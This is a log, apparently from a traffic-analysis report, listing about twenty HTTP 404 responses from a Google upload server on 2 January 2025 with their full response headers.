Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC714OY6lN9GeZAqrrpU3d3lJD3AoLeb1qg5Bf9XfnRF4B3LX4WNDnq0j9ua3C0s4daz9iXqUUwContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:28:47 GMTP3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-A3uh3cPYMgjzeORY3fSszg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerSet-Cookie: NID=520=O3h5K0Mlym-rrLjhzGpk4j7uTinDx0L_6UzibdP1RDC_dxub7vgJKYEHbgEy2EUzTv6j_Scn4-yJmKWdQ7GPwv8A4sHSmxpOkYMPAnFnYaMPENGOIsuDmm1Y5WSmNZAxu3tfYoY7sv5Qty8H7UJa53mIoIRZkFIVFgAxzxyrueB1f-dHIGAb-TA; expires=Fri, 04-Jul-2025 19:28:47 GMT; path=/; domain=.google.com; HttpOnlyAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6CNHwX9ByHVXLK2Y9Mwd1W8viNGc9rxnwqof6_zCnMcKd-18W1uKplLlKEvywA466zContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:28:48 GMTP3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-K1csnrv3Ux_WCWGxo_1g2A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerSet-Cookie: NID=520=GeAkmjbx9XzFNs4FFTRBp3iyJ_rRSIBOK5y196FKDF35PMipuw2aVwOKuIboxDPPASQuN-xbYZJkPpmtKazWJJ6TnCTLy4vwt9MEVuXzyph2RWF4j13r0KkdCxjiMzCLuTYbg-ZCUTdHoPAJjpCEwZFbPE4TT1r8RUGqNdikHEOX1FTNOdkVh2I; expires=Fri, 04-Jul-2025 19:28:48 GMT; path=/; domain=.google.com; HttpOnlyAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7ZwEnc1PIb9I5MrNJdEstaIf-fWQDifZcFfCBG4QZSHQSbyeihm2h9Y1MoHKXibzE06zSbEFMContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:28:48 GMTP3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."Cross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-RFAbyrQyclH2TtKasGQgrQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerSet-Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0; expires=Fri, 04-Jul-2025 19:28:48 GMT; path=/; domain=.google.com; HttpOnlyAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7gj7_b01SB6FOTz6_v_j-HVhU2FRmuINHpSdtZaLmswnDBeKtv8RkGPB9zsAujc1JHContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:28:49 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-z2ou07_Y7Fb5ypCiiRoJ1w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4g0-41Yd7urjb8YlZe0p7oF1IxGPBtka-XDS_GqTinRWdaVfx2yLiyap4aTubjItYxVzoMiE8Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:28:50 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-Sd3jW0SFVWaRzaOeMy3xPA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4KJFiglguqkMGIEryVKLHFUgJ4hFALmh_HggJ5tjtOrYHTZmlaNMJxzxW8xayu0VW6Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:28:52 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-KbHBHt76ErsfzD2VjweSjA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6BGX44tbcQX5mNsOuorCDFlvfJweSN4AWdCeOkKlBF7Pw9YGo3O3FEugFdb9ktBL_0Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:28:52 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-wTGTtTGOg1pqd1QFcsiEgw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7Y5qfRvFEVEpDNqVkEEalEaJfHBWgLocvi1Hw0eMljV8sa-woEE2gUwDsaic2Na0x-017kXPEContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:28:53 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-dIssyTTKf0R26Wf_M4lPAA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7fihzvprkEarBUOjHrPty6BHh1u4p0RZkqzW6MubeEwPcelLlk5O14SNZteJuJaEwou26As8kContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:28:53 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-tU6HTSZdCDon1rz2ihppvQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7SG9ueF-zDUEHGjDaMlVzNK3MtgdWfy_NsfeNaz-Bd8LWbw6gYZ6CWjYUZOGsj8Epz00vD3lkContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:28:56 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-0Q7aIy2pj2g5MfqRwuEnfA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5GrKxLaq86KQt_GLnYGt8Si4wgr5nMSiK0NgJJBz2hJum9st7AcNCqbKoXi5OafKM4Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:28:56 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-tMz8q7_vdm_InKxcQ9v8sQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7fQXYwYUAmjIR0fCsZxyzUNZbORc4_O-SRT--4C--80aig3iDBHJ29JWsmlW61FdshContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:28:57 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-lpMgTfAJ1jrHdA8-IrWTTA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5a7X5JJb-Fn_H9DuYeBqKCWt-Xy7-vEVi_TBLDyR4af6snPb9HR1ISFAEMehGfKAOPContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:28:57 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-bOesnIhNVTmNv1ZnNsAFBQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5LNAhF-WZImqMJE2h1aw20IWxl_pX39ks43SM4QMA9u87e5Y0E_DDdTo4AJXc11ZrXV-rG2cAContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:00 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-PBBHbP74qaPcYsk6Eh8Qmw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4txd3J3z7NtVkRjz7-fdvZhtTrvPNZpwc888c0pD7f-rHnNwa06iU0VLgI3IuaecbAveIQ_oUContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:00 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-qc1fQdVIWz8oLKA3Wduvpg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4WbCL8cV0zRYT9GLuetqJpzU15IIX3-R84NvHXezU5Ozx9G-RNWmkZQgqip8xprEa6Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:01 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce--acklA5EADnoaowUL6Ox5w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6Sj2xJNtXm2JWAqdfXLkWjKsEwoQEvlgIIoMOWJznSd2J2OY2paMd-VA6Xd8BaSfs9Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:01 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-GrLzfUWsrSgGewT7aUB55A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC51A9Q-IEt5H_A7BmmAGcISxAnkDn459a35Bc0KN64_31Cdo3zAx5IfgT80JBefK1AYd3Z7_PgContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:04 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-aTKSeuoI7bcHS9TxX_8rBQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6619NRU2svW49RRG81jeGP7dvMM36VFMLATIiLpWDasnPfntLm7NIOHmjUxoKw7NmXContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:04 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-kNmg2oDJKNSLSj8-btJovw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
